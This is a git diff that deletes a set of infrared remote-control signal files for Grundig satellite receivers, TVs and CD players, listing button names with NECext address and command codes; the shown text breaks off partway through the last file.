diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir deleted file mode 100644 index 33f493f04..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MODE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir deleted file mode 100644 index 0b3d2d17b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir deleted file mode 100644 index ffaa74df6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: TV-G -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: ?_/_< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: Z_/_DISC_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: VOL+_/_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: VOL-_/_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: ASPECT_/_> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: PIP_/_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: P+_/_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: P-_/_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: I_(MENU)_/_OSD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: INFORMATION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: BLUE_/_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: RED_/_DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: YELLOW_/_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: GREEN_/_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir deleted file mode 100644 index f0f381523..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: TV/Sat -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: Serv -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: Prefer -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: Perso -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir deleted file mode 100644 index c16873369..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: FF_SF -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: FR_SR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: DIGEST -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3D_SOUND -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 41 00 00 00 -# -name: PCB -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 42 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 43 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 44 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 45 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 46 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 47 00 00 00 -# -name: STOP/RETURN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 48 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 49 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir deleted file mode 100644 index 3356d2a6f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 01 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 02 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 03 00 00 00 -# -name: tuning_down -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 04 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 06 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 07 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0B 00 00 00 -# -name: tuning_up -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0D 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0E 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 11 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 12 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 13 00 00 00 -# -name: time_program -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 14 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1B 00 00 00 -# -name: repeat/scan -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1C 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 60 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: A0 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir deleted file mode 100644 index 13c45afe8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 32 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 40 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 36 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 29 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 28 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 24 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 23 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 19 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 18 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 39 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: 38 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 34 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 33 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 26 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: 17 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: 20 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: 21 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: 22 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: 25 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: 27 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: 37 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: 30 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: 35 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: 41 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: 31 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir deleted file mode 100644 index adf48a8df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: CEC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: USR3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 36 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3C 00 00 00 -# -name: USR4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6C 00 00 00 -# -name: YEL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6D 00 00 00 -# -name: BLU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: USR2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 75 00 00 00 -# -name: USR1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir deleted file mode 100644 index 331be4d77..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: track+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: track- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: index+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: index- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 23 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir deleted file mode 100644 index a77baf33b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: c0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: c1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: c2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: c3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: c4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: c5 -type: parsed -protocol: NECext -address: 05 00 